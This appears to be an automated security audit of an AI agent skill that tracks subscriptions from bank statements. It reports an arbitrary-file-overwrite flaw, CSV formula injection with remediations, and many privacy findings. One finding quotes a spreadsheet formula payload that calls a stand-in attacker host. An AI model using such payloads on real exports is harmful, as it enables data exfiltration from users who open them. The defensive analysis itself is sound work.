Back to skill

Security audit

Subscription Tracker

Security checks for vulnerabilities and agentic risk

Overview

The skill has a coherent local subscription-tracking purpose, but it handles sensitive bank statements and includes an export script that can replace unintended user files if misused.

Review before installing. Use it only in a trusted agent environment, redact statements where practical, understand that statement contents may be sent to your model provider, and avoid using custom export paths unless you have verified the exact destination. Store or delete archived statements deliberately, and treat CSV exports as sensitive files.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/export-subs.sh:24
Finding

Unrestricted Export Path Allows Arbitrary File Overwrite

Content
View full analysis
"$OUTPUT_FILE" ``` ```bash # Markdown export OUTPUT_FILE="${CUSTOM_OUTPUT:-$EXPORT_DIR/$DATE_STAMP-subscriptions.md}" { # Report generation omitted } > "$OUTPUT_FILE" ``` ```bash # Budget Buddy export OUTPUT_FILE="${CUSTOM_OUTPUT:-$EXPORT_DIR/$DATE_STAMP-budget-buddy-import.json}" jq --arg date "$DATE_STAMP" --argjson mt "$MONTHLY_TOTAL" --argjson at "$ANNUAL_TOTAL" '{ source: "subscription-tracker", version: "1.0.0", exported_at: ($date + "T00:00:00Z"), monthly_recurring: [.subscriptions[] | select(.status == "active") | { name: .service, amount: .amount, category: .category, frequency: .frequency, next_charge: .next_renewal }], annual_total: $at, monthly_total: $mt }' "$DB_FILE" > "$OUTPUT_FILE" ``` ### Technical Analysis The `--output` option accepts an arbitrary path without canonicalization, destination-directory restrictions, symlink checks, or overwrite confirmation. All three export modes use the shell truncation operator (`>`), which creates the specified file or replaces its existing contents. Shell quoting prevents command injection through the path, but it does not prevent destructive file replacement. Because this script is intended to be invoked by an AI agent, a malicious statement, prompt-injection payload, or misleading user request could influence the agent into selecting a sensitive destination. The operation remains limited t ...[truncated 1529 chars]
Remediation
View remediation
&2 exit 1 ;; esac ``` 2. Reject symlink destinations and non-regular existing files: ```bash if [[ -L "$REQUESTED" ]]; then echo "Error: symlink output paths are not allowed" >&2 exit 1 fi if [[ -e "$REQUESTED" && ! -f "$REQUESTED" ]]; then echo "Error: output destination is not a regular file" >&2 exit 1 fi ``` 3. Do not overwrite existing files unless the user supplies a deliberate `--force` option and confirms the exact canonical destination. 4. Generate output atomically in a securely created temporary file inside the export directory: ```bash TMP_FILE="$(mktemp "$EXPORT_DIR/.export.XXXXXX")" chmod 600 "$TMP_FILE" # Write the complete export to "$TMP_FILE" mv -- "$TMP_FILE" "$REQUESTED" ``` 5. Set a restrictive `umask`, such as `umask 077`, before creating financial-data exports. 6. At the agent-instruction layer, require explicit user confirmation before writing outside the default export directory, even if custom external paths remain supported. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/export-subs.sh:67
Finding

Spreadsheet Formula Injection in CSV Exports

Content
View full analysis
"$OUTPUT_FILE" jq -r '.subscriptions[] | [.service, .amount, .frequency, .category, .next_renewal, .payment_method, .status] | @csv' "$DB_FILE" >> "$OUTPUT_FILE" ``` ### Technical Analysis The export includes text fields that can originate from uploaded bank statements or subsequent user input, including `service`, `category`, `payment_method`, and `status`. The `jq` `@csv` formatter correctly applies CSV quoting and escaping, but CSV quoting does not necessarily prevent spreadsheet applications from evaluating a cell as a formula. A value beginning with characters such as `=`, `+`, `-`, or `@` may be interpreted as a formula when the CSV is opened in spreadsheet software. Tabs and carriage returns can also be relevant formula-triggering prefixes in some spreadsheet applications. For example, an attacker-controlled service name such as: ```text =HYPERLINK("https://attacker.example/collect","Subscription") ``` can be emitted as a valid quoted CSV cell while remaining a formula from the spreadsheet application's perspective. Whether a formula executes automatically, requires a click, or can initiate an external request depends on the spreadsheet application and its security configuration. The code nevertheless fails to establish a safe trust boundary for spreadsheet output. ### Attack Path 1. An attacker places a crafted merchant description in transaction data, or otherwise causes a formula-prefixed service or payment-method value to enter `subscriptions.json`. 2. The user or agent runs: ```bash export-subs.sh --format csv ``` 3. `jq @csv` quotes the field but does not neutralize its formula prefi ...[truncated 916 chars]
Remediation
View remediation
> "$OUTPUT_FILE" ``` 2. Apply neutralization after merchant normalization and again at the export boundary. Export-time validation is necessary because the database may contain legacy or manually entered values. 3. Consider exporting spreadsheet-safe XLSX through a library that explicitly stores untrusted values as text cells rather than formulas. 4. Add regression tests covering values beginning with: ```text = + - @ tab carriage return ``` 5. Document that CSV exports contain sensitive financial metadata and should be opened only in spreadsheet applications configured to block external content and unsafe formulas. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Rogue AgentSelf-Modification, Session Persistence
Findings (17)

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SECURITY.md (reported line 55)May include surrounding context.

To remove all Subscription Tracker data:

bash
rm -rf ~/.normieclaw/subscription-tracker/

This removes your subscription database, all stored statements, exports, and logs.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SECURITY.md (reported line 55)May include surrounding context.

To remove all Subscription Tracker data:

bash
rm -rf ~/.normieclaw/subscription-tracker/

This removes your subscription database, all stored statements, exports, and logs.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The README instructs users to upload bank or credit card statements, which are highly sensitive financial documents, but it does not prominently warn about privacy risks, data retention, local processing expectations, or handling safeguards in the main description. In an agent ecosystem, this omission can lead users to expose transaction history, merchant data, and account details without informed consent about where that data goes or how it is stored.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
76% confidence
Finding

The setup flow explicitly creates directories, config files, and an ongoing subscription database, indicating persistence of user financial activity over time. Persisting transaction-derived subscription data is not inherently malicious, but without clear limits on what is stored, where it is stored, retention duration, and access controls, it creates avoidable privacy and exposure risk if the host or agent environment is compromised.

Content

Scanner excerpt · SETUP-PROMPT.md (reported line 10)May include surrounding context.

md
## What This Does

This setup process will:
1. Create your subscription tracker directory and config files
2. Walk you through your first statement scan
3. Build your initial subscription database
4. Set your alert preferences

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The prompt instructs the agent to scan bank or credit card statements, which are highly sensitive financial records, but it provides no privacy, retention, redaction, or storage guidance. This increases the risk that users will expose account numbers, merchant history, and other personal financial data to the agent or skill without understanding how that data will be handled.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill archives uploaded bank and credit-card statements locally but does not prominently warn that these files contain sensitive financial data. Local statement archives can expose account activity, merchant history, partial account identifiers, and other private information if the host is shared, compromised, or backed up insecurely.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
74% confidence
Finding

The skill persistently stores trial data, renewal history, and historical billing amounts across sessions, creating a durable financial behavior profile. Persistent retention is not inherently malicious, but without clear retention limits, minimization, or deletion controls, it increases privacy exposure if the local environment or stored files are accessed by others.

Content

Scanner excerpt · SKILL.md (reported line 205)May include surrounding context.

This increase took effect on your Jan 15 billing cycle.

text

Track all historical amounts in the `previous_amounts` array. Never overwrite — append.

### 3C. Free Trial Tracking

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The skill explicitly exports subscription data into another financial product, expanding data flow beyond the core local subscription-tracking function. Even if the export is user-initiated, this increases privacy and data-sharing risk because recurring charges can reveal sensitive lifestyle, health, media, or professional service usage.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The skill gives step-by-step cancellation instructions for Google One before prominently warning that the account may revert to the free 15GB tier and require data migration. This sequencing can cause a user to cancel first and only afterward realize storage limits, sync disruption, or loss of access to files, backups, or email functionality tied to exceeded quota.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

This example explicitly has a user upload and analyze a bank/credit-card statement containing highly sensitive financial data, but it provides no warning about privacy, retention, redaction, consent, or secure handling. In practice, examples shape developer and user behavior, so omitting these safeguards can normalize unsafe collection and processing of financial records and increase the chance of unnecessary exposure of account details, transactions, and merchant history.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 58)May include surrounding context.

sh
for script in export-subs.sh renewal-check.sh; do
  if [[ -f "$PACKAGE_DIR/scripts/$script" ]]; then
    cp "$PACKAGE_DIR/scripts/$script" "$ST_DIR/scripts/$script"
    chmod 700 "$ST_DIR/scripts/$script"
    echo "  ✅ Installed script: $script"
  fi
done

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 64)May include surrounding context.

sh
for script in export-subs.sh renewal-check.sh; do
  if [[ -f "$PACKAGE_DIR/scripts/$script" ]]; then
    cp "$PACKAGE_DIR/scripts/$script" "$ST_DIR/scripts/$script"
    chmod 700 "$ST_DIR/scripts/$script"
    echo "  ✅ Installed script: $script"
  fi
done

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 66)May include surrounding context.

sh
for script in export-subs.sh renewal-check.sh; do
  if [[ -f "$PACKAGE_DIR/scripts/$script" ]]; then
    cp "$PACKAGE_DIR/scripts/$script" "$ST_DIR/scripts/$script"
    chmod 700 "$ST_DIR/scripts/$script"
    echo "  ✅ Installed script: $script"
  fi
done

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/setup.sh (reported line 65)May include surrounding context.

sh
# Set permissions
chmod 700 "$ST_DIR"
chmod 600 "$ST_DIR/subscriptions.json"
find "$ST_DIR/scripts" -name "*.sh" -exec chmod 700 {} \; 2>/dev/null || true
echo "  ✅ Set directory permissions (700) and database permissions (600)"

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
72% confidence
Finding

The overview emphasizes a constrained, local-only statement-drop workflow without bank linking. Later sections expand the skill into broader financial-system integration and multi-bank aggregation-style workflows, which undermines the earlier claim of a narrowly scoped non-integration tool even if it does not literally implement credentialed bank linking.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

The spec states that the agent must maintain and append monthly_totals history in subscriptions.json, which means the skill persists changes to a user data file. The document describes the behavior technically, but does not clearly warn users that their local subscription database will be modified over time.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
81% confidence
Finding

This section says several events trigger database updates and that the agent updates subscriptions.json after any modification. Because these are user-data-affecting writes, the documentation should explicitly disclose that refresh and scan actions modify the local data file rather than only describing the mechanism.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.